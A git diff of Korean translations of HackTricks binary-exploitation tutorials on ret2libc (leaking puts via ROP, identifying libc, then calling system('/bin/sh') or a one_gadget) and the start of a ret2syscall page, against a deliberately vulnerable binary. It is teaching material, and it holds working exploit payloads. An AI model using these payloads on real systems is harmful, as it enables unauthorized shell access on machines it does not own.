-이 자습서는 이 자습서에서 제안된 코드/바이너리를 악용할 것입니다: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
-다른 유용한 자습서: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
+이 튜토리얼은 다음 튜토리얼에서 제안된 코드/바이너리를 이용해 공격할 것입니다: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
+또 다른 유용한 튜토리얼: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
## 코드
-파일명: `vuln.c`
+파일 이름: `vuln.c`
```c
#include
@@ -44,9 +45,9 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
-## ROP - LIBC 주소 노출 템플릿
+## ROP - LIBC 유출 템플릿
-해킹 도구를 다운로드하고 취약한 이진 파일과 동일한 디렉토리에 넣은 후 스크립트에 필요한 데이터를 제공하십시오:
+익스플로잇을 다운로드하고 취약한 바이너리와 동일한 디렉토리에 배치한 후 스크립트에 필요한 데이터를 제공합니다:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
@@ -54,7 +55,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
## 1- 오프셋 찾기
-템플릿은 공격을 계속하기 전에 오프셋이 필요합니다. 제공된 경우 필요한 코드를 실행하여 오프셋을 찾습니다 (기본값은 `OFFSET = ""`):
+템플릿은 익스플로잇을 계속 진행하기 전에 오프셋이 필요합니다. 제공된 경우, 필요한 코드를 실행하여 오프셋을 찾습니다 (기본값 `OFFSET = ""`):
```bash
###################
### Find offset ###
@@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
-**실행** `python template.py`를 하면 프로그램이 충돌한 상태로 GDB 콘솔이 열립니다. 해당 **GDB 콘솔**에서 `x/wx $rsp`를 실행하여 RIP를 덮어쓸 **바이트**를 얻습니다. 마지막으로 **파이썬** 콘솔을 사용하여 **오프셋**을 구합니다:
+**실행** `python template.py` 하면 프로그램이 충돌하는 GDB 콘솔이 열립니다. 그 **GDB 콘솔** 안에서 `x/wx $rsp`를 실행하여 RIP를 덮어쓸 **바이트**를 가져옵니다. 마지막으로 **파이썬** 콘솔을 사용하여 **오프셋**을 가져옵니다:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../.gitbook/assets/image (1007).png>)
-오프셋을 찾은 후 (이 경우 40) 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다.\
+오프셋(이 경우 40)을 찾은 후, 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다.\
`OFFSET = "A" * 40`
-다른 방법은 `pattern create 1000`을 사용하는 것입니다. -- _ret까지 실행_ -- GEF에서 `pattern search $rsp`를 사용합니다.
+또 다른 방법은: `pattern create 1000` -- _ret까지 실행_ -- `pattern seach $rsp`를 GEF에서 사용하는 것입니다.
## 2- 가젯 찾기
-이제 이진 파일 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 **사용 중인 libc**를 찾기 위해 `puts`를 호출하는 데 유용하며, 나중에 **최종 공격을 실행**하는 데 사용될 것입니다.
+이제 바이너리 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 `puts`를 호출하여 사용 중인 **libc**를 찾고, 나중에 **최종 익스플로잇을 실행**하는 데 유용합니다.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@@ -94,15 +95,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
-`PUTS_PLT`는 **puts 함수**를 호출하기 위해 필요합니다.\
-`MAIN_PLT`는 **exploit**을 **다시** 사용하여 **overflow**를 **다시** 호출하기 위해 **main 함수**를 호출해야 합니다 (exploitation의 무한 라운드). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다**.\
-**POP\_RDI**는 **호출된 함수에 매개변수를 전달**하기 위해 필요합니다.
+`PUTS_PLT`는 **함수 puts**를 호출하는 데 필요합니다.\
+`MAIN_PLT`는 **오버플로우를 다시 이용하기 위해** 한 번의 상호작용 후에 **main 함수**를 다시 호출하는 데 필요합니다 (무한한 공격 라운드). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다.**\
+**POP\_RDI**는 호출된 함수에 **매개변수**를 **전달하기 위해** 필요합니다.
-이 단계에서는 실행할 필요가 없습니다. 모든 것은 실행 중에 pwntools에 의해 찾아질 것입니다.
+이 단계에서는 pwntools가 실행 중에 모든 것을 찾기 때문에 아무것도 실행할 필요가 없습니다.
## 3- libc 라이브러리 찾기
-이제 사용 중인 **libc** 라이브러리 버전을 찾을 시간입니다. 이를 위해 **메모리**에서 **puts 함수**의 **주소**를 **leak**하고, 그 주소에 있는 **puts 버전이 있는 라이브러리 버전**을 **검색**할 것입니다.
+이제 어떤 버전의 **libc** 라이브러리가 사용되고 있는지 찾을 시간입니다. 그렇게 하기 위해 우리는 **함수** `puts`의 메모리 내 **주소**를 **leak**한 다음, 해당 주소에서 puts 버전이 포함된 **라이브러리 버전**을 **검색**할 것입니다.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@@ -131,50 +132,51 @@ if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
-이를 위해 실행된 코드의 가장 중요한 줄은 다음과 같습니다:
+이렇게 하려면 실행된 코드에서 가장 중요한 줄은:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
-이는 **RIP**를 덮어쓸 수 있는 바이트를 보내게 됩니다: `OFFSET`.\
-그런 다음, `POP_RDI` 가젯의 **주소**를 설정하여 다음 주소(`FUNC_GOT`)가 **RDI** 레지스터에 저장됩니다. 이는 `PUTS_GOT`의 **주소**를 **전달**하기 위해 **puts를 호출**하려고 하기 때문입니다. 메모리 주소에 있는 puts 함수의 주소가 `PUTS_GOT`가 가리키는 주소에 저장되어 있기 때문입니다.\
-이후, `PUTS_PLT`가 호출될 것입니다 (`PUTS_GOT`이 **RDI** 안에 있음) 따라서 puts는 `PUTS_GOT` 안에 있는 내용(**메모리에 있는 puts 함수의 주소**)을 **읽고 출력**할 것입니다.\
-마지막으로, **main 함수가 다시 호출**되므로 우리는 다시 오버플로우를 이용할 수 있습니다.
+이것은 **RIP**를 **덮어쓰기**할 수 있을 때까지 몇 바이트를 전송할 것입니다: `OFFSET`.\
+그런 다음, **RDI** 레지스터에 다음 주소(`FUNC_GOT`)가 저장되도록 `POP_RDI` 가젯의 **주소**를 설정합니다. 이는 우리가 **puts**를 **호출**하고 `PUTS_GOT`의 **주소**를 전달하기를 원하기 때문입니다. `puts` 함수의 메모리 주소는 `PUTS_GOT`가 가리키는 주소에 저장됩니다.\
+그 후, `PUTS_PLT`가 호출될 것이며(여기서 **RDI** 안에 `PUTS_GOT`가 있습니다) puts는 `PUTS_GOT` 안의 내용을 **읽고** (**메모리에서 puts 함수의 주소**) **출력**할 것입니다.\
+마지막으로, **main 함수가 다시 호출**되어 우리는 오버플로우를 다시 이용할 수 있습니다.
-이렇게 함으로써 우리는 **puts 함수를 속이고** **메모리**에 있는 **puts 함수의 주소**를 출력하게 했습니다(이는 **libc** 라이브러리 내부에 있습니다). 이제 해당 주소를 통해 **어떤 libc 버전이 사용 중인지 찾을 수 있습니다**.
+이렇게 우리는 **puts 함수**를 **속여서** **메모리**에서 **puts** 함수의 **주소**를 **출력**하게 했습니다(이는 **libc** 라이브러리 안에 있습니다). 이제 그 주소를 알았으니 **어떤 libc 버전이 사용되고 있는지** **검색**할 수 있습니다.
![](<../../../../.gitbook/assets/image (1049).png>)
-우리는 **로컬** 바이너리를 **exploiting** 하고 있기 때문에 **libc**의 어떤 버전이 사용 중인지 알 필요가 없습니다(`/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾기만 하면 됩니다).\
-그러나 원격 exploit 경우에는 어떻게 찾을 수 있는지 여기서 설명하겠습니다:
+우리가 **로컬** 바이너리를 **악용**하고 있기 때문에 어떤 버전의 **libc**가 사용되고 있는지 알아낼 필요는 없습니다(단지 `/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾으면 됩니다).\
+하지만 원격 익스플로잇의 경우, 여기서 어떻게 찾을 수 있는지 설명하겠습니다:
### 3.1- libc 버전 검색 (1)
-다음 웹페이지에서 사용 중인 라이브러리를 검색할 수 있습니다: [https://libc.blukat.me/](https://libc.blukat.me)\
-이는 발견된 **libc** 버전을 다운로드할 수 있게 해줍니다
+웹 페이지에서 어떤 라이브러리가 사용되고 있는지 검색할 수 있습니다: [https://libc.blukat.me/](https://libc.blukat.me)\
+이 사이트는 발견된 **libc** 버전을 다운로드할 수 있도록 해줍니다.
![](<../../../../.gitbook/assets/image (221).png>)
### 3.2- libc 버전 검색 (2)
-또한 다음을 수행할 수 있습니다:
+다음과 같이 할 수도 있습니다:
* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`
-이 작업에는 시간이 걸릴 수 있으니 기다려 주세요.\
-이 작업을 위해 필요한 것은:
+이 작업은 시간이 걸릴 수 있으니 인내심을 가지세요.\
+이 작업이 작동하려면 다음이 필요합니다:
* Libc 심볼 이름: `puts`
-* 누출된 libc 주소: `0x7ff629878690`
+* 유출된 libc 주소: `0x7ff629878690`
-가장 가능성이 높은 **libc**를 알 수 있습니다.
+우리는 어떤 **libc**가 사용되고 있는지 알아낼 수 있습니다.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
-우리는 2개의 매치를 얻었습니다 (첫 번째가 작동하지 않으면 두 번째를 시도해보세요). 첫 번째 것을 다운로드하세요:
+We get 2 matches (you should try the second one if the first one is not working). Download the first one:
+우리는 2개의 일치를 얻습니다(첫 번째가 작동하지 않으면 두 번째를 시도해야 합니다). 첫 번째 것을 다운로드하세요:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@@ -183,9 +185,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
-### 3.3- 릭을 위한 다른 함수들
+`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`에서 libc를 복사하여 작업 디렉토리에 저장합니다.
-`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`에서 libc를 우리 작업 디렉토리로 복사합니다.
+### 3.3- 누출할 다른 함수들
```python
puts
printf
@@ -193,25 +195,25 @@ __libc_start_main
read
gets
```
-## 4- libc 주소 찾기 및 이용
+## 4- Finding based libc address & exploiting
-이 시점에서 우리는 사용된 libc 라이브러리를 알아야 합니다. 로컬 이진 파일을 이용하고 있기 때문에, `/lib/x86_64-linux-gnu/libc.so.6`를 사용할 것입니다.
+이 시점에서 우리는 사용된 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 익스플로잇하고 있으므로 나는 단지:`/lib/x86_64-linux-gnu/libc.so.6`를 사용할 것입니다.
-그래서, `template.py`의 시작 부분에서 **libc** 변수를 다음과 같이 변경하십시오: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
+따라서 `template.py`의 시작 부분에서 **libc** 변수를 다음으로 변경하십시오: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
-**libc 라이브러리의 경로**를 제공하면 **나머지 exploit은 자동으로 계산**될 것입니다.
+**libc 라이브러리**에 **경로**를 제공하면 나머지 **익스플로잇이 자동으로 계산될 것입니다**.
-`get_addr` 함수 내에서 **libc의 베이스 주소**가 계산될 것입니다:
+`get_addr` 함수 내에서 **libc의 기본 주소**가 계산될 것입니다:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
-**최종 libc 기본 주소는 반드시 00으로 끝나야** 합니다. 그렇지 않은 경우 잘못된 라이브러리를 노출할 수 있습니다.
+**최종 libc 기본 주소는 00으로 끝나야 합니다.** 그렇지 않은 경우 잘못된 라이브러리를 유출했을 수 있습니다.
{% endhint %}
-그런 다음 `system` 함수의 주소와 _"/bin/sh"_ 문자열의 **주소**는 **libc**의 **기본 주소**에서 **계산**되며 주어진 **libc 라이브러리**를 사용합니다.
+그런 다음, 함수 `system`의 주소와 문자열 _"/bin/sh"_의 **주소**는 **libc**의 **기본 주소**에서 **계산**됩니다. 그리고 **libc 라이브러리**가 제공됩니다.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@@ -220,7 +222,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
-마침내, /bin/sh 실행 exploit이 준비되어 전송될 것입니다:
+마지막으로, /bin/sh 실행 익스플로잇이 준비될 것입니다:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@@ -230,19 +232,18 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
-## 최종 ROP 설명
+Let's explain this final ROP.\
+마지막 ROP(`rop1`)은 다시 main 함수를 호출하며 끝났습니다. 그러므로 우리는 **다시 이용할 수 있습니다** **오버플로우**(그래서 `OFFSET`이 여기 다시 있는 것입니다). 그런 다음, 우리는 `POP_RDI`를 호출하여 **주소**를 _"/bin/sh"_(`BINSH`)로 지정하고 **system** 함수(`SYSTEM`)를 호출하고자 합니다. 왜냐하면 _"/bin/sh"_의 주소가 매개변수로 전달될 것이기 때문입니다.\
+마지막으로, **exit 함수의 주소**가 **호출**되어 프로세스가 **정상적으로 종료**되고 어떤 경고도 생성되지 않습니다.
-마지막 ROP(`rop1`)은 다시 main 함수를 호출하여 **다시 exploit**할 수 있습니다(그래서 `OFFSET`이 다시 나타납니다). 그런 다음, _"/bin/sh"_의 **주소**(`BINSH`)를 가리키는 `POP_RDI`를 호출하고 **system** 함수(`SYSTEM`)를 호출하여 _"/bin/sh"_의 주소가 매개변수로 전달되도록 합니다.\
-마지막으로 **exit 함수의 주소**가 **호출**되어 프로세스가 **잘 종료**되고 어떤 경고도 발생하지 않습니다.
-
-**이렇게 하면 exploit이 \_/bin/sh**\_\*\* 쉘을 실행**합니다.\*\*
+**이렇게 하면 익스플로잇이 \_/bin/sh**\_\*\* 셸을 실행합니다.\*\*
![](<../../../../.gitbook/assets/image (165).png>)
-## 4(2)- ONE\_GADGET 사용
+## 4(2)- ONE\_GADGET 사용하기
-**ONE\_GADGET**을 사용하여 **system** 및 **"/bin/sh"** 대신 쉘을 얻을 수도 있습니다. **ONE\_GADGET**은 libc 라이브러리 내에서 하나의 **ROP 주소**만 사용하여 쉘을 얻는 방법을 찾아줍니다.\
-그러나 일반적으로 `[rsp+0x30] == NULL`와 같은 제약 조건이 있습니다. **RSP** 내의 값을 제어할 수 있기 때문에 더 많은 NULL 값을 보내 제약 조건을 피할 수 있습니다.
+대신 **system**과 **"/bin/sh"**를 사용하는 대신 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget)를 사용하여 셸을 얻을 수도 있습니다. **ONE\_GADGET**은 libc 라이브러리 내에서 단 하나의 **ROP 주소**만으로 셸을 얻는 방법을 찾습니다.\
+그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 것은 `[rsp+0x30] == NULL`입니다. **RSP** 내부의 값을 제어하므로 제약을 피하기 위해 추가적인 NULL 값을 보내기만 하면 됩니다.
![](<../../../../.gitbook/assets/image (754).png>)
```python
@@ -251,48 +252,49 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
-이 취약점을 악용하는 템플릿을 다음에서 찾을 수 있습니다:
+이 취약점을 악용하기 위한 템플릿은 여기에서 찾을 수 있습니다:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
-## 일반적인 문제
+## Common problems
-### MAIN\_PLT = elf.symbols\['main']를 찾을 수 없음
+### MAIN\_PLT = elf.symbols\['main'] not found
-"main" 심볼이 존재하지 않는 경우. 그럼 main 코드가 어디에 있는지 찾을 수 있습니다:
+"main" 심볼이 존재하지 않는 경우, 메인 코드가 어디에 있는지 찾을 수 있습니다:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-그리고 주소를 수동으로 설정하십시오:
+그리고 주소를 수동으로 설정합니다:
```python
MAIN_PLT = 0x401080
```
-### Puts를 찾을 수 없음
+### Puts not found
-만약 이진 파일이 Puts를 사용하지 않는다면 다음을 확인해야 합니다.
+이진 파일이 Puts를 사용하지 않는 경우 다음을 확인해야 합니다.
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
-모든 exploit을 생성한 후에 이 **에러**를 발견한다면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
+모든 익스플로잇을 생성한 후 이 **오류**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
-**"/bin/sh" 주소에서 64바이트를 빼보세요**:
+**"/bin/sh"의 주소에서 64 바이트를 빼보세요**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)와 함께 제로부터 영웅이 되는 AWS 해킹 배우기
+HackTricks 지원하기
-다른 방법으로 HackTricks를 지원하는 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* 여러분의 해킹 기교를 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index 3d19e6a9a..d09f217b6 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -1,18 +1,19 @@
-# libc 누출 - 템플릿
+# libc 유출 - 템플릿
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기!
+HackTricks 지원하기
-다른 방법으로 HackTricks를 지원하는 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
@@ -206,27 +207,27 @@ P.interactive() #Interact with your shell :)
## 일반적인 문제
-### MAIN_PLT = elf.symbols\['main']를 찾을 수 없음
+### MAIN\_PLT = elf.symbols\['main']을(를) 찾을 수 없음
-"main" 심볼이 존재하지 않는 경우 (아마도 이진 파일이 스트립되었기 때문일 것입니다). 그럼 main 코드가 어디에 있는지 찾을 수 있습니다:
+"main" 심볼이 존재하지 않는 경우(아마도 스트립된 바이너리 때문입니다). 그러면 메인 코드가 어디에 있는지 찾으면 됩니다:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-그리고 주소를 수동으로 설정하십시오:
+그리고 주소를 수동으로 설정합니다:
```python
MAIN_PLT = 0x401080
```
-### Puts를 찾을 수 없음
+### Puts not found
-만약 이진 파일이 Puts를 사용하지 않는다면 **사용하는지 확인**해야 합니다.
+이진 파일이 Puts를 사용하지 않는 경우 **사용하고 있는지 확인해야 합니다.**
-### `sh: 1: %s%s%s%s%s%s%s%s: 찾을 수 없음`
+### `sh: 1: %s%s%s%s%s%s%s%s: not found`
-모든 exploit을 생성한 후에 이 **에러**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: 찾을 수 없음`
+모든 익스플로잇을 생성한 후 **이 오류**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
-**"/bin/sh" 주소에서 64바이트를 빼보세요**:
+**"/bin/sh"의 주소에서 64바이트를 빼보세요:**
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
@@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!
+HackTricks 지원하기
-다른 방법으로 HackTricks를 지원하는 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 웸하면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 6a7e6f102..37a6ea8e4 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -1,39 +1,40 @@
# Ret2syscall
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-## 기본 정보
-
-이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 일부 인수로 `/bin/sh`를 실행하기 위해 모든 것이 준비될 것입니다. 이 기술은 일반적으로 정적으로 컴파일된 이진 파일에서 수행되므로 많은 가젯과 시스템 호출 명령이 있을 수 있습니다.
-
-**시스템 호출**을 준비하기 위해 다음 구성이 필요합니다:
-
-* `rax: 59 sys_execve 지정`
-* `rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정`
-* `rsi: 0 전달된 인수 없음 지정`
-* `rdx: 0 전달된 환경 변수 없음 지정`
-
-따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그런 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려하여). 이를 위해 알려진 영역에 `/bin/sh`를 쓸 수 있는 가젯이 필요합니다.
-
-{% hint style="success" %}
-호출할 다른 흥미로운 시스템 호출은 **`mprotect`**이며, 이를 통해 공격자가 **메모리의 페이지 권한을 수정**할 수 있습니다. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합할 수 있습니다.
{% endhint %}
-## 레지스터 가젯
+## Basic Information
-**레지스터를 제어하는 방법**을 찾아봅시다:
+이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리의 함수를 호출하지 않습니다. 이 경우, 모든 것이 `/bin/sh`를 실행하기 위해 몇 가지 인수와 함께 `sys_execve` 시스템 호출을 호출하도록 준비됩니다. 이 기술은 일반적으로 정적으로 컴파일된 바이너리에서 수행되므로, 많은 가젯과 시스템 호출 명령어가 있을 수 있습니다.
+
+**syscall** 호출을 준비하기 위해 다음과 같은 구성이 필요합니다:
+
+* `rax: 59 sys_execve 지정`
+* `rdi: "/bin/sh"에 대한 포인터, 실행할 파일 지정`
